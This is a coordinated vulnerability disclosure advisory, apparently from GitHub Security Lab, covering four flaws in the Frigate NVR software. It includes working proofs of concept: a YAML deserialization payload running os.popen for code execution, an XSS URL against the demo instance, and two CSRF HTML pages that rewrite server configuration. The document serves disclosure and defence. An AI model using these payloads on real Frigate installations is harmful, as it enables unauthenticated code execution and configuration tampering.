Coordinated Disclosure Timeline
- 2023-10-04: Report sent to blakeb@blakeshome.com
- 2023-10-07: Maintainer acknowledges the report
- 2023-10-10: Created reports through Private Vulnerability Reporting: GHSA-qp3h-4q62-p428, GHSA-jjxc-m35j-p56f, GHSA-xq49-hv88-jr6h
- 2023-10-28: Reports are published
Summary
-
Unsafe deserialization in
load_config_with_no_duplicates
offrigate/util/builtin.py
(GHSL-2023-190
)- An unsafe deserialization vulnerability was identified in the endpoints used to save configurations for Frigate. This can lead to unauthenticated remote code execution. This can be performed through the UI at
/config
or through a direct call to/api/config/save
.
- An unsafe deserialization vulnerability was identified in the endpoints used to save configurations for Frigate. This can lead to unauthenticated remote code execution. This can be performed through the UI at
-
Reflected XSS through
/<camera_name>
API endpoints (GHSL-2023-195
)- There is a reflected XSS vulnerability in any API endpoints reliant on the
/<camera_name>
base path as values provided for the path are not sanitized.
- There is a reflected XSS vulnerability in any API endpoints reliant on the
-
Cross-site request forgery vulnerability in
config_save
andconfig_set
request handlers (GHSL-2023-198
)- The
config/save
andconfig/set
endpoints of Frigate do not implement any CSRF protection. This makes it possible for a request sourced from another site to update the configuration of the Frigate server (e.g. via ““drive-by” attack).
- The
-
Cross-site scripting in
/logs/<service>
endpoint (GHSL-2023-209
)-
The
logs/<service>
endpoint permits a user to retrieve logs from specified services (nginx, go2rtc, frigate), however if the user specifies a service that is not in that list this endpoint should return an error stating that the service is unavailable. The returned data is the default content-type oftext/html
and is unsanitized. As such, this permits the injection of javascript payloads.- Please note that this is not currently exploitable due to a separate bug, however if/when that is resolved it will permit this XSS vulnerability to be exploited. The bug preventing this can be found in the
if
statement that wraps this error message. This should presumable readif not service_location
orif service not in log_locations
.
- Please note that this is not currently exploitable due to a separate bug, however if/when that is resolved it will permit this XSS vulnerability to be exploited. The bug preventing this can be found in the
-
Project
Frigate
Tested Version
Details
Issue 1: Unsafe deserialization in load_config_with_no_duplicates
of frigate/util/builtin.py
(GHSL-2023-190
)
Input is initially accepted through http.py
at frigate/http.py:998:
@bp.route("/config/save", methods=["POST"])
def config_save():
save_option = request.args.get("save_option")
new_config = request.get_data().decode()
The user-provided input is then parsed and loaded by load_config_with_no_duplicates
at frigate/config.py:1244:
@classmethod
def parse_raw(cls, raw_config):
config = load_config_with_no_duplicates(raw_config)
return cls.parse_obj(config)
However, load_config_with_no_duplicates
uses yaml.loader.Loader
which can instantiate custom constructors. A provided payload will be executed directly at frigate/util/builtin.py:110:
PreserveDuplicatesLoader.add_constructor(
yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)
This vulnerability was found using CodeQL’s Deserialization of user-controlled data query for Python.
Impact
This issue may lead to pre-authenticated Remote Code Execution.
Proof of Concept:
- Start Frigate in Docker for ease of setup.
- Navigate to
localhost:5000/config
. - Enter the following content into the config, and save the configuration:
!!python/object/apply:os.popen
- touch /tmp/pwned
- Note that
/tmp/pwned
is created in the container. This access can also be extended to write to mounted filesystems if not mounted as read-only.
Resources
Issue 2: Reflected XSS through /<camera_name>
API endpoints (GHSL-2023-195
)
The recording_clip
request handler returns an unescaped/unsanitized string based on the camera_name
requested in the route that calls it. As a result of this, reflected XSS is possible.
By calling a camera that does not exist, we can force a failure response that will return the requested value. Note that this is response will use Flask’s default content-type
of text/html
:
if p.returncode != 0:
logger.error(p.stderr)
return f"Could not create clip from recordings for {camera_name}.", 500
As an example, we can trigger an XSS payload using the official demo instance with the following GET
request executed in a browser:
GET https://demo.frigate.video/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E
This vulnerability was found using CodeQL’s Reflected server-side cross-site scripting for Python.
Impact
As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.
Resources
- Python Library Reference: html.escape().
- Common Weakness Enumeration: CWE-79.
- Common Weakness Enumeration: CWE-116.
Issue 3: Cross-site request forgery vulnerability in config_save
and config_set
request handlers (GHSL-2023-198
)
When provided with a POST
request containing the save_option
parameter, the config_save
request handler will attempt to write the user-supplied configuration in the request body to the configuration file on disk. Similarly, when provided with a PUT
request the config_set
request handler will attempt to update the existing configuration file with the user-supplied values specified as variables in the URL.
As these endpoints do not have any CSRF protection or authentication requirement this permits a request from any origin (e.g. a “drive-by” attack) to update the configuration of the Frigate server.
Proof of Concept
- Start Frigate following the Docker instructions using the example
config.yml
file. - Host an HTML file with the following contents anywhere accessible from your local machine:
<html>
<script>
function pwnd()
{
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://<FRIGATE_SERVER>:5000/api/config/save?save_option=saveonly");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
console.log(xhr.status);
console.log(xhr.responseText);
}};
let data = `mqtt:
host: mqtt
cameras:
pwnd:
ffmpeg:
inputs:
- path: /media/frigate/car-stopping.mp4
input_args: -re -stream_loop -1 -fflags +genpts
roles:
- detect
- rtmp
detect:
height: 1080
width: 1920
fps: 5`;
xhr.send(data);
console.log("pwnd");
}
pwnd();
</script>
</html>
- Access the new page (e.g.
http://<YOUR_WEB_SERVER_HOST>/poc.html
). - Note that the configuration of the Frigate service has been updated to now have a camera named
pwnd
instead oftest
.
This can also be performed against the config/set
endpoint with the same setup outlined above, but the following poc.html
which will update the mqtt.host
value to pwnd
:
<html>
<script>
function pwn() {
let xhr = new XMLHttpRequest();
xhr.open("PUT", "http://<FRIGATE_SERVER>:5000/api/config/set?mqtt.host=pwnd");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
console.log(xhr.status);
console.log(xhr.responseText);
}};
xhr.send();
}
pwn();
</script>
</html>
This demonstrates that requests from any origin can result in arbitrary writes to Frigate’s configuration.
Impact
This issue can lead to arbitrary configuration updates for the Frigate server, resulting in denial of service and possible data exfiltration.
Resources
Issue 4: Cross-site scripting in /logs/<service>
endpoint (GHSL-2023-209
)
The following error message is returned with a content type of text/html
and the values are fully user controlled and unsanitized.
return f"{service} is not a valid service", 404
This permits an attacker to craft a URL to a service that is not in the valid log_locations
and that instead contains a javascript payload for XSS purposes.
This was identified with CodeQL’s Reflected server-side cross-site scripting query.
Impact
As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.
Resources
- Python Library Reference: html.escape().
- Common Weakness Enumeration: CWE-79.
- Common Weakness Enumeration: CWE-116.
CVE
- CVE-2023-45672
- CVE-2023-45671
- CVE-2023-45670
Credit
This issue was discovered and reported by GHSL team members @maclarel (Logan MacLaren) and @jorgectf (Jorge Rosillo).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-190
, GHSL-2023-195
, GHSL-2023-198
, or GHSL-2023-209
in any communication regarding this issue.